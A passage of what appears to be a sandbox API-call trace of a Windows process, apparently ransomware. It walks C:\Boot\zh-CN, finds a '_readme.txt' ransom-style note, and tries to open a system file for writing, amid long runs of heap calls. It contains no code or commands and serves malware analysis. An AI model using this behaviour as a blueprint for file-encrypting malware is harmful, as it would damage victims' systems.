Flags=0x0, Size=0x830) returned 0x30667b8 [0122.594] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x30667b8 | out: hHeap=0x5b0000) returned 1 [0122.594] PathFindFileNameW (pszPath="C:\\Boot\\zh-CN\\") returned="zh-CN\\" [0122.594] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.594] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0122.594] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0122.594] PathFindFileNameW (pszPath="") returned="" [0122.594] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018770 [0122.594] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76d60000 [0122.594] GetProcAddress (hModule=0x76d60000, lpProcName="SHGetFolderPathW") returned 0x76de5708 [0122.594] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x800) returned 0x307ad38 [0122.595] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x307ad38 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0122.595] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x810) returned 0x30667b8 [0122.595] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x30189a0 [0122.595] FreeLibrary (hLibModule=0x76d60000) returned 1 [0122.595] PathAppendW (in: pszPath="C:\\Boot\\zh-CN\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0122.595] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.595] PathFileExistsW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned 1 [0122.595] FindFirstFileW (in: lpFileName="C:\\Boot\\zh-CN\\*", lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2ffa828 [0122.595] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0122.595] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0d3720, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0d3720, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8725b0e, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11440, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0122.595] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.595] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.595] PathFindExtensionW (pszPath="C:\\Boot\\zh-CN\\bootmgr.exe.mui") returned=".mui" [0122.596] CreateFileW (lpFileName="C:\\Boot\\zh-CN\\bootmgr.exe.mui" (normalized: "c:\\boot\\zh-cn\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.596] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13cbabb0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0122.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x40) returned 0x2fdda10 [0122.596] PathFindExtensionW (pszPath="C:\\Boot\\zh-CN\\_readme.txt") returned=".txt" [0122.596] FindNextFileW (in: hFindFile=0x2ffa828, lpFindFileData=0x38efba4 | out: lpFindFileData=0x38efba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13cbabb0, ftCreationTime.dwHighDateTime=0x1d53559, ftLastAccessTime.dwLowDateTime=0x13cbabb0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13cbabb0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x494, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0122.596] FindClose (in: hFindFile=0x2ffa828 | out: hFindFile=0x2ffa828) returned 1 [0122.596] PeekMessageW (in: lpMsg=0x38eff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38eff08) returned 0 [0122.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018950 [0122.596] PeekMessageW (in: lpMsg=0x38efb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38efb74) returned 0 [0122.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.596] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.596] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.596] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.596] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.596] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.596] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.596] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.597] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.597] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.598] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.598] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.598] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.598] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.598] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.598] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.598] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.598] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.598] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.598] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.598] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.598] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.598] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.598] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.598] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.598] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.598] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.598] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.598] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.598] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.598] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.598] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.598] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.598] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.598] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.598] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.598] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.598] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.598] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.598] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.598] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.598] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc2e) returned 0x307ad38 [0122.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.599] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.599] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x840) returned 0x3067040 [0122.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.600] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.600] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x830) returned 0x3067040 [0122.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc46) returned 0x307ad38 [0122.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.601] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.601] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.602] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.602] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x860) returned 0x307ad38 [0122.602] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x307ad38 | out: hHeap=0x5b0000) returned 1 [0122.602] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.602] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.602] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x3018748 [0122.602] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x820) returned 0x3067040 [0122.602] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3067040 | out: hHeap=0x5b0000) returned 1 [0122.602] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3018748 | out: hHeap=0x5b0000) returned 1 [0122.602] RtlAllocateHeap 